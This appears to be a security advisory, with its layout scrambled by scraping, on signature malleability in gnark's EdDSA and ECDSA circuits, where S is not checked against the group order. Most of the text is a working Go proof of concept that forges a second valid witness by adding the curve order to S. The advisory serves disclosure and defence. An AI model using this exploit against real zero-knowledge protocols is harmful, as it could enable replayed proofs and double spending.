Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S)
, this enables signature malleability and may lead to double spending.
package main
import (
"crypto/rand"
"fmt"
"math/big"
"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"
"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"
te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)
// Circuit
type eddsaCircuit struct {
Msg frontend.Variable `gnark:",public"`
Pk stdEddsa.PublicKey `gnark:",public"`
Sig stdEddsa.Signature
}
func (c *eddsaCircuit) Define(api frontend.API) error {
curve, _ := twistededwards.NewEdCurve(api, te.BN254)
hasher, _ := stdMimc.NewMiMC(api)
stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
return nil
}
func groupOrder() *big.Int {
// BN254 scalar field order (r)
const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
n, _ := new(big.Int).SetString(rStr, 10)
return n
}
// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
order := groupOrder()
var forged eddsaCrypto.Signature
forged.R = sig.R
s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)
buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged
}
func main() {
// Generate key pair
priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
pub := priv.PublicKey
msg := []byte("multi-witness")
// Create honest signature
h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)
var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest) // S + order
// Setup: Compile circuit and do trusted setup
circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
fmt.Printf("Circuit compilation failed: %v\n", err)
return
}
pk, vk, err := groth16.Setup(ccs)
if err != nil {
fmt.Printf("Trusted setup failed: %v\n", err)
return
}
// Public inputs (same for both witnesses)
var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())
// witness 1: honest signature
w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())
witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness1: %v\n", err)
return
}
proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
publicWitness1, err := witness1.Public()
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
err = groth16.Verify(proof1, vk, publicWitness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
fmt.Println("Witness 1 (honest): Prover succeeded!")
}
}
}
// witness 2: forged signature
w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)
witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness2: %v\n", err)
return
}
proof2, err := groth16.Prove(ccs, pk, witness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
publicWitness2, err := witness2.Public()
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
err = groth16.Verify(proof2, vk, publicWitness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
fmt.Println("Witness 2 (forged): Prover succeeded!")
}
}
}
}
Prof. Yu Yu's Lab at SJTU
In version before,
sig.s
used without asserting0 ≤ S < order
inVerify function
in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.Impact
Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from
(R, S)
, this enables signature malleability and may lead to double spending.Exploitation
Result
Credits
XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine
SJTU Group of Software Security In Progress
Prof. Yu Yu's Lab at SJTU
References